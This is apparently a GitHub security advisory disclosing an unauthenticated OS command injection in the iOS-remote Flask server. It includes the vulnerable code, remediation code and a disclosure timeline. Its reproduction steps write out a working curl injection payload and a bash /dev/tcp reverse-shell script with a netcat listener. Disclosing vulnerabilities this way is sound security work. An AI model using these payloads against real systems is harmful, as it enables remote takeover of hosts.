-
Notifications
You must be signed in to change notification settings - Fork 12
Description
Security Advisory: OS Command Injection in iOS-remote
Summary
iOS-remote is vulnerable to OS command injection (CWE-78: Improper Neutralization of Special Elements used in an OS Command). The /remote endpoint passes user-controlled input directly into a shell command via subprocess.Popen() with shell=True, allowing an unauthenticated attacker to execute arbitrary commands on the host system.
Affected Software
- Application: iOS-remote
- Version: All versions (vulnerability exists since initial commit)
- Platform: Linux, macOS, Windows (any platform running the Flask server)
- Repository: https://github.com/DimCyan/iOS-remote
Vulnerability Details
- Type: OS Command Injection
- CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- CVSS v3.1 Score: 9.8 (Critical)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
Description
The /remote endpoint in app.py accepts a JSON payload via POST request and extracts the text field. This value is inserted directly into a shell command string using Python's str.format() method, then executed with subprocess.Popen() using shell=True. No input validation or sanitization is performed on the user-supplied value.
Vulnerable code (app.py):
# Line 135 - command template
cmds = {'remote': 'tidevice relay {0} 9100'}
# Lines 37-43 - vulnerable endpoint
@app.route('/remote', methods=['POST'])
def remote():
data = json.loads(request.form.get('data'))
content = data['text']
logger.info('remote to: {}'.format(content))
subprocess.Popen(cmds['remote'].format(content), shell=True, stdout=subprocess.PIPE).communicate()
return "remote screen"The intended use is for the user to supply a port number (e.g., 8200), which produces the command tidevice relay 8200 9100. However, an attacker can inject shell metacharacters (;, &&, ||, $(), backticks) to execute arbitrary commands.
CORS Misconfiguration Amplifies Impact
The application also configures CORS with a wildcard origin (line 12):
CORS(app, support_crenditals=True, resources={r"/*": {"origins": "*"}}, send_wildcard=True)This means any website can make cross-origin requests to the server, making the command injection exploitable via CSRF from any webpage the victim visits while the server is running.
Debug Mode Enabled
The application runs with debug=True (line 140), which exposes the Werkzeug interactive debugger. This is a separate, well-known remote code execution vector.
Steps to Reproduce
Prerequisites
- Python 3 with Flask, flask-cors, and logzero installed
- The iOS-remote repository cloned locally
Reproduce the Vulnerability
Step 1: Clone the repository and install dependencies.
git clone https://github.com/DimCyan/iOS-remote.git
cd iOS-remote
pip3 install flask flask-cors logzeroStep 2: Comment out the iOS device dependencies (not needed to demonstrate the vulnerability).
sed -i 's/^import wda/#import wda/' app.py
sed -i 's/^import tidevice/#import tidevice/' app.py
sed -i 's/device = tidevice.Device()/#device = tidevice.Device()/' app.py
sed -i 's/client = connect_device()/#client = connect_device()/' app.pyStep 3: Start the Flask server.
python3 app.pyStep 4: In a separate terminal, send the command injection payload.
curl -X POST http://127.0.0.1:5000/remote \
--data-urlencode 'data={"text":"8200; id > /tmp/pwned.txt #"}'Step 5: Verify arbitrary command execution.
cat /tmp/pwned.txtThe file will contain the output of the id command, confirming arbitrary code execution on the host.
The shell interprets the constructed command as:
tidevice relay 8200; id > /tmp/pwned.txt # 9100
The semicolon separates the commands. id > /tmp/pwned.txt executes and writes the output. The # comments out the trailing 9100.
Reverse Shell (Demonstrating Full System Compromise)
Step 1: Start a listener.
nc -lvnp 443Step 2: Create a reverse shell script.
echo '#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/443 0>&1' > rev.sh
chmod +x rev.shStep 3: Send the payload.
curl -X POST http://127.0.0.1:5000/remote \
--data-urlencode 'data={"text":"8200; bash rev.sh #"}'An interactive shell is received on the listener, confirming full remote code execution.
Impact
An attacker with network access to the Flask server can execute arbitrary OS commands with the privileges of the user running the application. This could lead to:
- Full system compromise - the attacker gains an interactive shell on the host
- Data exfiltration - sensitive files can be read and transmitted
- Lateral movement - the compromised host can be used to attack other systems on the network
- Malware installation - persistent backdoors can be deployed
Because the application configures CORS with origins: "*", any malicious website can trigger this vulnerability when visited by a user running iOS-remote, requiring no direct network access to the server.
Suggested Remediation
Option 1: Use subprocess with argument list (recommended)
@app.route('/remote', methods=['POST'])
def remote():
data = json.loads(request.form.get('data'))
content = data['text']
if not content.isdigit():
return "Invalid port number", 400
subprocess.Popen(
['tidevice', 'relay', content, '9100'],
stdout=subprocess.PIPE
).communicate()
return "remote screen"Option 2: Strict input validation
import re
@app.route('/remote', methods=['POST'])
def remote():
data = json.loads(request.form.get('data'))
content = data['text']
if not re.match(r'^\d{1,5}$', content):
return "Invalid port", 400
if not (1 <= int(content) <= 65535):
return "Port out of range", 400
subprocess.Popen(cmds['remote'].format(content), shell=True, stdout=subprocess.PIPE).communicate()
return "remote screen"Additional recommended fixes
- Remove
debug=Truefrom theapp.run()call - Restrict CORS origins to trusted domains instead of
"*"
Evidence
- Patching the app with sed to test without an iOS device:
- The vulnerable code in app.py (lines 37-43) showing unsanitized user input passed to
subprocess.Popen()withshell=True:
- iOS-remote Flask server running with the web interface accessible in browser:
- Creating the reverse shell script for the PoC:
- Reverse shell obtained via
poc.py, withwhoami,id, andhostnameconfirming code execution:
- Arbitrary file write via command injection, with
cat pwned.txtshowing the output of the injectedidcommand:
Timeline
- 2026-02-28: Vulnerability discovered
- 2026-02-28: Vendor notified via GitHub Issue
- 2026-02-28: CVE requested from MITRE
- TBD: Vendor response
- TBD: Fix released
- TBD: Public disclosure (90 days after vendor notification, 2026-05-29)
Credit
Discovered by: Jashid Sany (https://github.com/jashidsany)